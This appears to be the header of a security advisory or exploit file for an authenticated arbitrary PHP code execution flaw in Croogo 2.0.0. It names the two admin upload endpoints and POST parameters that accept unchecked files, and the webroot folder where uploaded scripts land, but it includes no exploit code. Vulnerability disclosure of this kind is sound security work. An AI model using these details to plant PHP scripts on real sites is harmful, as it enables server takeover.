# Croogo 2.0.0 Arbitrary PHP Code Execution Exploit
#
#
# Vendor: Fahad Ibnay Heylaal
# Product web page: http://www.croogo.org
# Affected version: 2.0.0
#
# Summary: Croogo is a free, open source, content management system
# for PHP, released under The MIT License. It is powered by CakePHP
# MVC framework.
#
# Desc: Croogo suffers from an authenticated arbitrary PHP code
# execution. The vulnerability is caused due to the improper
# verification of uploaded files in '/admin/file_manager/attachments/add'
# script thru the 'data[Attachment][file]' POST parameter and in
# '/admin/file_manager/file_manager/upload' script thru the
# 'data[FileManager][file]' POST parameter. This can be exploited
# to execute arbitrary PHP code by uploading a malicious PHP script
# file that will be stored in '/webroot/uploads/' directory.
#
# Tested on: Apache/2.4.7 (Win32)
#            PHP/5.5.6
#            MySQL 5.6.14
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

#
# Advisory ID: ZSL-2014-5202
